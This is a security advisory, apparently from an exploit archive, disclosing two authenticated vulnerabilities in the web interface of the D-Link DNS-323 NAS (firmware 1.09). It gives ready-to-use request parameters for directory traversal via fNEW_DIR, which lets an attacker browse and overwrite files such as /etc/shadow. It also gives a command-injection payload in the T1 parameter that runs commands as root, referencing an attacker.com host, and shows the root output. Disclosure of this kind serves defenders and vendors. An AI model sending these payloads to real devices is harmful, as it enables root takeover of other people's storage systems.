D-Link DNS-323 – Multiple Vulnerabilities

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# Exploit Title: D-Link DNS-323 Multiple Vulnerabilities 
# Author: sghctoma
# E-mail: tamas.szakaly@praudit.hu
# Category: Hardware
# Vendor: http://www.dlink.com/
# Firmware Version: 1.09
# Product: http://www.dlink.com/us/en/support/product/dns-323-1tb-sharecenter-2-bay-network-storage-sata-raid-0-1-usb-print-server
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.intro
======

DNS-323 is a NAS product from D-Link with a web GUI. The GUI is vulnerable to
multiple attacks described below. Both vulns are inthe "SCHEDULE DOWNLOAD" page,
and both require authentication. However a normal user is enough, no need for
admin.

.vulnerabilites
===============

.arbitrary file upload
----------------------
When one clicks in the "Save To" textbox or the "Browse" button, a popup appears
with the directories on the "Volume_1" share. When one clicks the "+" sign to
open a directory, a POST request is sent to /goform/GetNewDir with the following
parameters:

fNEW_DIR		/mnt/Volume_1
f_backup		0
f_IP_address	<ip address of NAS>
f_file			0

A directory traversal is possible via the fNEW_DIR variable, and we can browse
not only the directories, but the files too with setting f_file to "1". So, for
example with the following params one can browse /:

fNEW_DIR		/mnt/Volume_1/../../
f_backup		0
f_IP_address	<ip address of NAS>
f_file			1

So, this way we can browse the entire directory tree, and we can schedule a
download to wherever we want. (e.g. overwrite /etc/shadow - oh, yes, we are
doing everything as root, btw.)

.OS command execution
---------------------

When one clicks the "play button" on a scheduled download, a POST request is
sent to /goform/right_now_d with the following parameter:

T1	<at job id>,SCHEDULE<num>,<user>,<source>,<destination>,<num>

SCHEDULE<num> is injectable, so for example setting T1 to the following writes
the output of the "id" command to a web accessible file:

11,SCHEDULE13 && id > /web/path/id.txt,dns323,ftp://attacker.com/dummy.txt,/Volume_1/Public,1

After such query we can visit <NAS address>/web/path/id.txt, and we will see the
following content:

uid=0(root) gid=0(root)

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Screenshots and a write-up of these vulns in Hungarian is available at the
following URL: http://praudit.hu/index.php/blog/nassoljunk